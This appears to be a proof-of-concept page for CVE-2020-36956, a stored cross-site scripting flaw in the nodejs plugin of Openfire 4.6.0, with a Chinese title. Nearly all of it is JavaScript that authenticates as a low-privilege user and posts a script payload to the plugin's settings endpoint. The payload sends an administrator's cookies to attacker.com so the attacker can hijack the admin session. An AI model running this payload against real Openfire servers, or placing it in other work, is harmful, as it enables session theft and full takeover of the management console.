CVE-2020-36956 Openfire nodejs插件存储型XSS漏洞

// CVE-2020-36956 PoC - Stored XSS in Openfire nodejs plugin path parameter // Target: Openfire 4.6.0 with nodejs plugin // This PoC demonstrates injecting JavaScript via the 'path' parameter // Step 1: Authenticate with low-privilege account const authToken = 'Basic ' + btoa('lowpriv_user:password'); // Step 2: Inject malicious script through path parameter const payload = '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>'; const xssPayload = encodeURIComponent(payload); // Step 3: Send crafted request to nodejs plugin configuration endpoint fetch('http://target:9090/plugins/nodejs/settings', { method: 'POST', headers: { 'Authorization': authToken, 'Content-Type': 'application/x-www-form-urlencoded' }, body: `path=${xssPayload}&save=Save` }); // When admin visits the nodejs config page, the script executes: // - Cookie is stolen and sent to attacker-controlled server // - Attacker can hijack admin session // - Attacker gains full admin access to Openfire management console